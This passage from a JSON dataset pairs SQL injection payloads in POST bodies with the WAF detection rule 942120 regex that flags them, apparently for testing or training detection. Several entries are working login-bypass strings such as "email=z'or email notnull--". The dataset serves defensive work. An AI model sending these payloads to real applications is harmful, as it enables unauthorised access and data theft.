"(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "IS NULL" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "in (0,1)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "in (2147483647,-1)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=%3C%3D%3E" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "regexp" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "RLIKE" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "+in+%28++select+anfrage_id+from+erkenntnisse+where+id+is++not++null++%29%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "+IN+%28815914%2C+815913%29%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "+IN+%28815919%2C+815920%2C+815921%2C+815922%2C+815923%2C+815924%2C+815925%2C+815926%2C+815927%2C+815928%2C+815929%2C+815930%2C+815932%2C+815933%2C+815934%2C+815935%2C+815936%2C+815937%2C+815917%2C+815918%29%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay= in ( Aa,- Ab-, and Ac)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "%3E%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "select%20*%20from%20user%20where%20password_last_changed%20not%20between%20'2021-04-11'%20and%20'2021-04-11'" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: not between * and " } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=z'or%20email%20notnull--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=x'%20or%20username%20like%20totpSecret%20escape%20'x';" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=admin%40juice-sh.op'%20and%20email%20ilike%20email--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[!=]=|&&|\\|\\||->|>[=>]|<(?:[<=]|>(?:[\\s\\x0b]+binary)?)|\\b(?:(?:xor|r(?:egexp|like)|i(?:snull|like)|notnull)\\b|collate(?:[^0-9A-Z_a-z]*?(?:U&)?[\\\"'`]|[^0-9A-Z_a-z]+(?:(?:binary|nocase|rtrim)\\b|[0-9A-Z_a-z]*?_))|(?:likel(?:ihood|y)|unlikely)[\\s\\x0b]*\\()|r(?:egexp|like)[\\s\\x0b]+binary|not[\\s\\x0b]+between[\\s\\x0b]+(?:0[\\s\\x0b]+and|(?:'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+and[\\s\\x0b]+(?:'[^']*'|\\\"[^\\\"]*\\\"))|is[\\s\\x0b]+null|like[\\s\\x0b]+(?:null|[0-9A-Z_a-z]+[\\s\\x0b]+escape\\b)|(?:^|[^0-9A-Z_a-z])in[\\s\\x0b\\+]*\\([\\s\\x0b\\\"0-9]+[^\\(\\)]*\\)|[!<->][\\s\\x0b]*all\\b", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942120", "test_description": "SQL Injection Attack: SQL Operator Detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=admin%40juice-sh.op'%20and%20email%20%3d%20all%20(select%20email)--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 